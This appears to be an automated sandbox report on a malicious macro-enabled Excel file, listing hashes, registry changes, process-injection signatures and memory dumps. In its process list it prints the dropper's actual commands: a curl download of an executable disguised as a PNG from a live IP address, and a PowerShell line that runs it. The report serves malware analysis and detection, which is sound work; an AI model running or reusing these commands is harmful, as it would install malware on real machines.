Analysis
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max time kernel
101s -
max time network
66s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
22-07-2021 12:22
Behavioral task
behavioral1
Sample
XsPMC.xlsm
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
XsPMC.xlsm
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
General
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Target
XsPMC.xlsm
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Size
308KB
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MD5
7d1241c321323ef058174eab91abe9f5
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SHA1
e7f4a2edfaa2f7c01f3f37e79e2fc6422f522152
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SHA256
6b20732f3ec329ae7463b4c4eddc6497d3a5f0ca7029b186b41078b762bf9339
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SHA512
dfd47243bf944ac672f186a950ffe782fef5eebae8cde3db0a0d10465aca11e485acba3a9178d9d8cb821143493af84bef2da7242b421e92ad9a1762f83b73c1
Score
10/10
Malware Config
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.execmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1776 1724 powershell.exe EXCEL.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1680 1724 cmd.exe EXCEL.EXE -
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1724 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1776 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1776 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 1724 EXCEL.EXE 1724 EXCEL.EXE 1724 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
EXCEL.EXEdescription pid process target process PID 1724 wrote to memory of 1776 1724 EXCEL.EXE powershell.exe PID 1724 wrote to memory of 1776 1724 EXCEL.EXE powershell.exe PID 1724 wrote to memory of 1776 1724 EXCEL.EXE powershell.exe PID 1724 wrote to memory of 1776 1724 EXCEL.EXE powershell.exe PID 1724 wrote to memory of 1680 1724 EXCEL.EXE cmd.exe PID 1724 wrote to memory of 1680 1724 EXCEL.EXE cmd.exe PID 1724 wrote to memory of 1680 1724 EXCEL.EXE cmd.exe PID 1724 wrote to memory of 1680 1724 EXCEL.EXE cmd.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\XsPMC.xlsm1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe start-sleep 10; $x=$env:AppData+'\XsPMC.exe';Invoke-Expression $x2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.execmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\XsPMC.exe2⤵
- Process spawned unexpected child process
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1680-63-0x0000000000000000-mapping.dmp
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memory/1724-59-0x000000002FC11000-0x000000002FC14000-memory.dmpFilesize
12KB
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memory/1724-60-0x0000000071971000-0x0000000071973000-memory.dmpFilesize
8KB
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memory/1724-61-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/1724-105-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/1776-69-0x0000000000FE0000-0x0000000000FE1000-memory.dmpFilesize
4KB
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memory/1776-79-0x000000007EF20000-0x000000007EF21000-memory.dmpFilesize
4KB
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memory/1776-66-0x0000000000CE0000-0x0000000000CE1000-memory.dmpFilesize
4KB
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memory/1776-67-0x0000000000CE2000-0x0000000000CE3000-memory.dmpFilesize
4KB
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memory/1776-68-0x00000000047D0000-0x00000000047D1000-memory.dmpFilesize
4KB
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memory/1776-64-0x00000000769B1000-0x00000000769B3000-memory.dmpFilesize
8KB
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memory/1776-70-0x00000000026E0000-0x00000000026E1000-memory.dmpFilesize
4KB
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memory/1776-73-0x0000000006240000-0x0000000006241000-memory.dmpFilesize
4KB
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memory/1776-78-0x0000000006280000-0x0000000006281000-memory.dmpFilesize
4KB
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memory/1776-65-0x00000000006B0000-0x00000000006B1000-memory.dmpFilesize
4KB
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memory/1776-80-0x0000000006360000-0x0000000006361000-memory.dmpFilesize
4KB
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memory/1776-87-0x00000000064C0000-0x00000000064C1000-memory.dmpFilesize
4KB
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memory/1776-88-0x00000000064F0000-0x00000000064F1000-memory.dmpFilesize
4KB
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memory/1776-89-0x0000000006470000-0x0000000006471000-memory.dmpFilesize
4KB
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memory/1776-103-0x0000000006640000-0x0000000006641000-memory.dmpFilesize
4KB
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memory/1776-104-0x0000000006650000-0x0000000006651000-memory.dmpFilesize
4KB
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memory/1776-62-0x0000000000000000-mapping.dmp